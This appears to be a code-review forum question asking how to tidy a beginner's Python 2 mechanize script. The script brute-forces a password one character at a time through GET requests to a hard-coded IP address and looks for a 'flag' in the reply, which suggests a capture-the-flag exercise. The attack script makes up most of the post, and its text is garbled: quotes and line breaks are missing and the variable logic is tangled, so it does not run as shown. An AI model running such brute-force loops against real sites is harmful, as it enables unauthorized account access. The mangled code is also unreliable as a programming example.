My Script tries to find a password, using a brute force approach.  The password is then tried using a GET call to a website.  I'm not happy with the way the script looks, particularly the number of variables I have had to use for such a small validation.import mechanizeimport itertoolsimport stringbr = mechanize.Browser()url = http://128.199.96.39/?password={0}{1}{2}{3}response = br.open(url)cnt = 0pat = invalid {}Invalidacc = string.ascii_letters + 0123456789!@#$%^{}()[]combinations = itertools.permutations(acc,cnt+1)res = a = xb = xc = xd = xbb = xcc = xdd = xwhile True:    combinations = itertools.permutations(acc,1)    for x in combinations:        x = .join(x)        if a == x:            aa = x        elif b == x:            bb = x        elif c == x:            cc = x        elif d == x:            dd = x        response = br.open(url.format(aa,bb,cc,dd))        cek = response.read().split(<)[0]        if flag in cek:            print cek            break    if pat.format(cnt+1) in cek:        cnt += 1        if a == x:            a = x        elif b == x:            b = x        elif c == x:            c = x        elif d == x:            d = x        #print x
Bruteforce Keys from GET Input with mechanize
python;beginner